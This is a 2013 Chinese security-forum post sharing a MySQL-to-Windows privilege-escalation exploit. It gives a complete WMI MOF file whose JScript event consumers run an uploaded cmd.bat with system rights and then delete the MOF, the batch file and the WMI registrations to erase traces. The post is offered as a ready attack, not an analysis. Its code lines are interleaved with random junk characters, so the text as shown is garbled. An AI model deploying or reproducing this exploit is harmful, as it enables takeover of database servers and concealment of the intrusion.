找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1973|回复: 0
打印 上一主题 下一主题

Mysql 提权即时无错Mof exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-14 00:05:02 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
这个sql提权MOF需要运行 system下的文件,不能定义路径。
. Z- L5 A- Z, [+ o  R2 y1 U需要将要运行的命令写入到bat上传到system32目录,然后执行。
1 U5 x, g$ W( z- ~6 U- `2 \' V- M- X# f5 a  [6 q
这个sql提权MOF需要运行 system下的文件,不能定义路径。
& J. H3 j% f0 C5 K  o% Y需要将要运行的命令写入到bat上传到system32目录,然后执行。
) x' U& F' f; l3 m" `
" Q- _: \6 j( W0 i- a9 j6 |, Z#pragma
6 V8 Z( Z' O; @                        namespace("\\\\.\\root\\cimv2")2 N7 x; T/ U1 B, H1 w8 r
                        class/ N, ~! D5 Q" I4 k
                        MyClass547& k7 s3 p( c& N0 {6 ^! |
                        {           [key]; d, j, k* @- J& `1 W  O
                        string2 H' `! l; O) q- h( }
                        Name;' y! I4 v" d/ [; r1 J$ @
                        };) v+ g+ y$ X. ~, E
                        class
4 ^5 A) O; D% E7 n0 E                        ActiveScriptEventConsumer  g7 u/ }# Z0 q2 ^
                        : __EventConsumer {          [key]
1 F+ E' J: t( G0 H2 w1 W. W                        string
3 Y) `: ]6 Q1 j" f7 C. V7 M8 I                        Name;           [not_null]
4 d& s1 W  q' s4 _; s                        string  {5 X: p& T( W0 p: g3 P( P& E$ i
                        ScriptingEngine;           string
  d+ H$ D1 y: t% m                        ScriptFileName;           [template]
1 `# g) H& U+ Z                        string
; m' x/ z+ `/ P8 b2 ~6 Q4 L                        ScriptText;         uint32 KillTimeout;
: e  t- z8 W0 H# x' c  m                        }; instance of __Win32Provider as $P {
2 h3 l3 F* [2 M, n                        Name
4 K7 d. W" w7 K9 E3 i2 m                        =
2 I7 L9 Q" N. P, X+ F% C                        "ActiveScriptEventConsumer";     CLSID =. }! X; ^4 Q+ B7 Y7 X7 P
                        "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
6 C( l9 |+ W2 y2 X- v7 S- M                        PerUserInitialization
* u4 c$ W9 p% {. x+ _6 g& K                        = TRUE;
6 B1 B; t. L/ Z* _( Z# w# o                        }; instance of __EventConsumerProviderRegistration {         Provider4 V: B4 n: q+ \! p6 N
                        = $P;         ConsumerClassNames
. I* ^+ Z7 G; C+ W& m                        =
  w4 c/ u, }8 v: `                        {"ActiveScriptEventConsumer"};- o6 |4 n9 ^. f+ s0 A- x
                        };- d* r. c8 h: |+ ], {$ `
                        Instance of ActiveScriptEventConsumer
# ^6 g; E6 b/ l                        as $cons {         Name
/ S5 G' g7 w$ g3 w" o                        =0 v4 H* K$ ?  H) g
                        "ASEC";         ScriptingEngine2 _5 ]9 {1 \# y$ S; o
                        =
% P( A2 U0 W! u) Z3 k+ c6 W3 A                        "JScript";         ScriptText, `4 I, [- _. I+ L( t
                        =/ j- B5 z! t& F# W
                        "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";          };# A; A) r$ Y6 i* l+ X
                        Instance of ActiveScriptEventConsumer
6 T$ _" l# L- [                        as $cons2 {         Name
. S9 A" E: m. E                        =. o- m2 @3 ]: E# b2 R) @+ R  w
                        "qndASEC";         ScriptingEngine/ V; d4 P, C+ t0 f
                        =
/ G" x6 U! ^+ a1 M                        "JScript";         ScriptText
6 J8 }- t7 e8 g                        =" \& I9 h0 Y5 \# D. T, ?! ^; a
                        "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";( ]" A: J) {, N- m) F0 m. G. `3 ?; f
                        }; instance of __EventFilter as $Filt {         Name
6 ^- W) {4 C% G- E7 x7 w                        =
/ Q; x" v9 N2 y1 l6 E7 @                        "instfilt";         Query  U( l% S6 q1 H, S! ]: w" |3 y& {
                        =( i- M# u/ m8 h& Y$ D
                        "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\"";         QueryLanguage
6 x- l1 g  d' g                        =, r; k# V2 ]  j/ B8 s+ [2 z
                        "WQL";         }; instance of __EventFilter as $Filt2 {         Name* r- v- h" X( O9 U
                        =
( b; o8 N( H: D0 ^                        "qndfilt";         Query
2 S1 a% Q4 M1 M! j" V/ Z8 e                        =  I7 n* j* u- ~3 j! i, f
                        "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\"";         QueryLanguage
& c4 k6 e. x$ C                        =; y9 Z  O* h: z/ a$ h9 d  T6 Y
                        "WQL";          }; instance of __FilterToConsumerBinding as $bind {         Consumer5 M( V" q+ v7 \7 l4 N5 S
                        = $cons;         Filter
" }9 V0 m2 O: Q% z+ ~* e+ K                        = $Filt;- H" F! M9 Q/ J4 J9 x, k
                        }; instance of __FilterToConsumerBinding as $bind2 {         Consumer
# g& R8 [! f+ j0 o6 F                        = $cons2;         Filter
' q# G+ d( V* r9 S, t8 B  D- K2 f                        = $Filt2;
$ w2 i, S  _2 v: V7 C                        }; instance of MyClass547' \7 _  u* B4 }5 k+ o
                        as $MyClass {         Name
. z" D, z" O* `; K) E7 @                        =8 q) I5 j' D8 n8 y5 e7 n- i, M
                        "ClassConsumer";! e! {3 k( Y6 V/ g7 a
                        };
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表